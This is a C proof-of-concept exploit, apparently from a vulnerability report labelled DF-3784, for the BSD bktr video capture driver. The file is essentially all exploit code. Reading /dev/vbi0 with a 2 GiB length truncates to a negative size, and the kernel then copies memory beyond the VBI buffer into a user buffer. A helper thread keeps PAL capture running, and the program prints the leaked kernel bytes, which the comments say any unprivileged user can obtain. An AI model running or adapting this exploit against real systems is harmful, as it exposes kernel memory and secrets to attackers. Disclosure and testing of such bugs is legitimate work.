DF-3784 / poc_vbi_read_leak.c
/* * DF-3784 PoC trigger (requires real Bt848/878 hardware + bktr driver). * * Process A: reads /dev/vbi0 with a 2 GiB length (legal size_t, positive * ssize_t) -> (int)truncation -> negative readsize -> uiomove * with (size_t)0xFFFFFFFF80000000 -> copies 2 GiB of kernel * memory above vbibuffer into userspace until EFAULT. * Process B (or a thread of A): keeps continuous video capture running so * VBI data is produced (vbisize > 0) and PAL format selected so * the rgb_vbi RISC program feeds vbidecode(). * * All device nodes are mode 0444: fully unprivileged. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <pthread.h> #include <sys/ioctl.h> #include <sys/types.h> #include <dev/video/meteor/ioctl_meteor.h> #include <dev/video/bktr/ioctl_bt848.h> #define LEAK_LEN 0x80000000UL /* 2 GiB: (int)cast = INT_MIN */ #define VBI_DATA_HINT (2048*16*2*20) /* end of the real 1.3 MiB VBI buffer */ static void *capture_thread(void *v) { int fd = open("/dev/bktr0", O_RDONLY); unsigned long fmt = METEOR_FMT_PAL; int arg = METEOR_CAP_CONTINOUS; if (fd < 0) { perror("open /dev/bktr0"); exit(1); } if (ioctl(fd, METEORSFMT, &fmt) < 0) perror("METEORSFMT"); if (ioctl(fd, METEORCAPTUR, &arg) < 0) perror("METEORCAPTUR"); for (;;) pause(); /* keep capture running */ return NULL; } int main(void) { static char leak[LEAK_LEN]; /* BSS: 2 GiB lazy */ pthread_t th; int fd, i; pthread_create(&th, NULL, capture_thread, NULL); fd = open("/dev/vbi0", O_RDONLY); if (fd < 0) { perror("open /dev/vbi0"); return 1; } /* blocks until VBI data arrives (vbisize>0), then over-reads 2 GiB */ ssize_t got = read(fd, leak, LEAK_LEN); printf("read returned %zd (errno-based partial copy expected)\n", got); /* dump non-zero kernel bytes that landed past the 1.3 MiB vbi buffer */ for (i = VBI_DATA_HINT; i < VBI_DATA_HINT + 64; i += 4) if (*(unsigned int *)(leak + i)) printf("kernel bytes @+%d: %08x\n", i, *(unsigned int *)(leak + i)); return 0; } |